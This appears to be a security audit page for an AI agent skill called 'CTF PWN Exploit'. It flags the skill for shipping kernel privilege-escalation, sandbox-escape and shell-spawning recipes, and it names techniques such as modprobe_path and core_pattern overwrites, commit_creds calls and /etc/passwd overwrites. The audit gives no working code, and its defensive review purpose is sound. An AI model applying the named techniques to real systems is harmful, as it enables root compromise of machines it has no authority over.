CTF PWN Exploit

• Outcome: Review
• Latest audit: Aug 27, 2026 · 3:32 PM UTC
• Version: 1.0.0

Overview

This is a CTF exploit-development skill, but it includes highly actionable privilege-escalation, sandbox-escape, shell-spawning, and exfiltration workflows without clear lab-only limits.

Install only if you intend to use it for authorized CTFs, disposable labs, or owned training systems. Do not use it on real services or machines without explicit permission, and review the kernel and sandbox references carefully because they include root-level and system-modifying procedures.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
• MCP Tool Poisoning: Hidden Instructions, Unicode Deception, Parameter Description Injection

Findings (58)

Description-Behavior Mismatch

Medium

• Confidence: 90% confidence
• Finding: The file materially expands the skill from userland binary exploitation into kernel exploitation and privilege-escalation tradecraft, including kernel ROP, arbitrary write, page-table abuse, and root-shell outcomes. That scope drift is dangerous because it increases the skill's offensive capability beyond its declared purpose, making misuse easier and reducing operator awareness of the elevated risk.

Context-Inappropriate Capability

High

• Confidence: 98% confidence
• Finding: This section teaches a page-table overlap technique to modify read-only file-backed pages and overwrite a system binary so an attacker-controlled script executes as root. It provides a concrete arbitrary file write to privileged code-execution chain, which is directly usable for real local privilege escalation and persistence, not just CTF learning.

Context-Inappropriate Capability

High

• Confidence: 99% confidence
• Finding: This section gives explicit local privilege-escalation instructions: preserve KERNEL_DS/addr_limit, turn read/write into kernel memory access, overwrite syscall-table entries, invoke commit_creds/prepare_kernel_cred, and spawn a root shell. That is a complete exploitation recipe for kernel compromise with immediate full-system impact.

Context-Inappropriate Capability

High

• Confidence: 99% confidence
• Finding: The custom binfmt section provides a staged privilege-escalation chain with leak, arbitrary zeroing of credential fields, shellcode placement, and root-shell execution. This is not merely descriptive; it is an operational exploit recipe that lowers the barrier to kernel privesc abuse.

Description-Behavior Mismatch

Medium

• Confidence: 95% confidence
• Finding: The file materially exceeds the stated scope of a 'binary pwn exploitation assistant' by providing detailed Linux kernel exploitation guidance, privilege-escalation primitives, and mitigation bypass workflow. That expansion increases the skill's offensive capability and lowers the barrier to weaponizing kernel bugs beyond ordinary CTF binary analysis.

Context-Inappropriate Capability

High

• Confidence: 97% confidence
• Finding: The hypervisor-chain section teaches a guest-to-kernel-to-hypervisor escalation pattern, including direct I/O-port hypercall abuse and memory residency constraints for the payload. This goes well beyond CTF userland pwn assistance and resembles VM-escape tradecraft that could be adapted to real virtualization targets.

Vague Triggers

Medium

• Confidence: 96% confidence
• Finding: The activation description is extremely broad and explicitly targets exploit-development tasks such as pwn, overflow, ROP, shellcode, format strings, GOT/canary, and heap exploitation. This makes the skill easy to invoke for offensive dual-use activity and provides little constraint tying usage to safe, sandboxed, or educational contexts.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This file is an offensive exploitation playbook: it gives step-by-step guidance, exploit chains, and working code for memory corruption, ROP, shell spawning, exfiltration, and privilege-impacting post-exploitation. Even though it appears framed as CTF material, the content is directly transferable to real systems and lacks any safety gating, strong scope restriction, or defensive framing.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This file is a dense catalog of offensive binary exploitation techniques, including shellcode, ROP, GOT overwrite, sandbox escape, arbitrary read/write, and stack return-address corruption, but it provides no safety framing, authorization limits, or warning about destructive/system-impacting use. In a broadly callable agent skill, that omission materially increases misuse risk because the content can be directly repurposed into real exploit development against live targets.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This file is an offensive exploitation playbook containing step-by-step guidance for privilege escalation, shellcode development, control-flow bypass, heap corruption, command execution, and post-exploitation shell access. In the context of an agent skill, this is dangerous because it operationalizes real attack chains and payload construction without guardrails, making abuse straightforward rather than merely educational.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This file is a detailed offensive exploitation playbook: it documents exploit chains, shellcode, ROP, seccomp bypasses, flag exfiltration, and working pwntools-style payload patterns with enough specificity to enable misuse. In the context of an agent skill, this materially increases the chance the agent will assist in developing or operationalizing real exploit code rather than merely explaining concepts.

Missing User Warnings

Medium

• Confidence: 92% confidence
• Finding: This section contains concrete exploit instructions that culminate in `system("sh")` shell execution, but it provides no safety boundary, legal-use warning, or constraint that the techniques are for isolated CTF/lab environments only. In an exploit-development skill explicitly intended for pwn workflows, omission of such guardrails materially increases the likelihood of direct offensive misuse rather than merely academic study.

Missing User Warnings

Medium

• Confidence: 95% confidence
• Finding: These examples repeatedly document exploit chains leading to shell access, GOT overwrite, hook hijacking, arbitrary allocation, and function-pointer redirection, yet there is no disclosure of risk, authorization requirements, or containment guidance. Because the file is part of a pwn exploitation assistant, the lack of safety framing makes the content substantially more dangerous by serving as an operational playbook for weaponization.

Missing User Warnings

Medium

• Confidence: 98% confidence
• Finding: This section contains detailed, operational heap-exploitation guidance that culminates in shell execution and even a SUID-focused privilege-escalation path using setcontext and setuid(0). Although framed as CTF material, the instructions are directly transferable to real binaries and materially lower the barrier to weaponizing memory-corruption bugs.

Missing User Warnings

High

• Confidence: 98% confidence
• Finding: This section explicitly advises modifying initramfs and `/init` to retain root privileges and disable kernel hardening controls such as `kptr_restrict`, `dmesg_restrict`, and restrictive permissions on `/proc/kallsyms`. Even in a CTF context, these are concrete operational steps that weaken host/guest defenses and can enable privilege abuse or easier exploit development if reused outside an isolated lab.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This section provides exploit workflow details for achieving kernel privilege escalation and spawning a root shell, including `commit_creds(prepare_kernel_cred(0))`, KPTI bypass approaches, and a SIGSEGV-based post-exploitation path. The presence of runnable exploit logic and shell-spawning behavior materially increases misuse potential, especially because the skill is explicitly positioned as a pwn exploitation assistant.

Missing User Warnings

Medium

• Confidence: 87% confidence
• Finding: The document contains numerous destructive kernel exploitation, file-corruption, and privilege-escalation techniques without prominent warnings about host compromise, irreversible data corruption, or isolation requirements. In a skill that can be consumed operationally, omission of those warnings increases the chance of unsafe real-world use.

Missing User Warnings

High

• Confidence: 93% confidence
• Finding: The document gives step-by-step kernel exploitation, mitigation bypass, arbitrary read/write, and privilege-escalation instructions without any safety framing, scope restriction, or indication that this content is only appropriate for isolated lab/CTF environments. In an agent skill, such unrestricted operational guidance can be directly used to assist real exploitation attempts.

Missing User Warnings

High

• Confidence: 98% confidence
• Finding: The modprobe_path section provides a concrete local privilege-escalation recipe: overwrite a kernel variable, stage an attacker-controlled script, and trigger root execution. Because it includes actionable commands and trigger conditions, it can be used as a ready-made post-exploitation technique on vulnerable systems.

Missing User Warnings

High

• Confidence: 98% confidence
• Finding: The core_pattern section explains how to overwrite crash-handler configuration with a pipe command so that crashing a process yields root command execution. This is a direct persistence/privilege-escalation technique affecting system-wide behavior and is dangerous even without additional context.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This file contains extensive, operationally useful exploitation guidance for stack overflows, canary leaks, ROP, GOT overwrites, OOB reads/writes, and remote attack workflows, including pwntools scripts and target interaction patterns. Even in a CTF context, the material is directly transferable to real-world vulnerable binaries and services, and the absence of clear authorization-only boundaries or safety framing increases misuse risk.

Missing User Warnings

Medium

• Confidence: 99% confidence
• Finding: This file is an extensive offensive exploitation guide covering ROP, shellcode, seccomp bypass, ret2dl_resolve, and multiple working exploit patterns. Even if framed as CTF content, it materially enables real-world exploitation by providing actionable payloads, gadget strategies, and code snippets without any safety boundary, authorization warning, or limitation to isolated lab environments.

Missing User Warnings

High

• Confidence: 97% confidence
• Finding: This section gives operational guidance for spawning shells, interacting with them, and retrieving files/flags, but provides no safety framing, scope restriction, or explicit limitation to isolated CTF environments. In an agent skill, that materially increases misuse risk because the content is directly actionable and can be repurposed for real-world exploitation workflows, not just education.

Missing User Warnings

High

• Confidence: 98% confidence
• Finding: These sections include compact shellcode, staged payloads, and execve-oriented techniques that directly enable arbitrary code execution, yet they lack warnings about the consequences of running payloads on live systems. Because the skill is explicitly for pwn exploitation, the absence of safeguards makes the material especially dangerous in an agent context where users may request turnkey offensive assistance.

Missing User Warnings

High

• Confidence: 99% confidence
• Finding: This section gives explicit privilege-escalation steps by abusing a root-running CUSE/FUSE daemon to chmod sensitive files, overwrite /etc/passwd, and obtain a root shell. Even in a CTF-oriented skill, these are directly transferable real-world intrusion steps, and the absence of safety boundaries or scope restrictions materially increases misuse risk.

Static analysis

No suspicious patterns detected.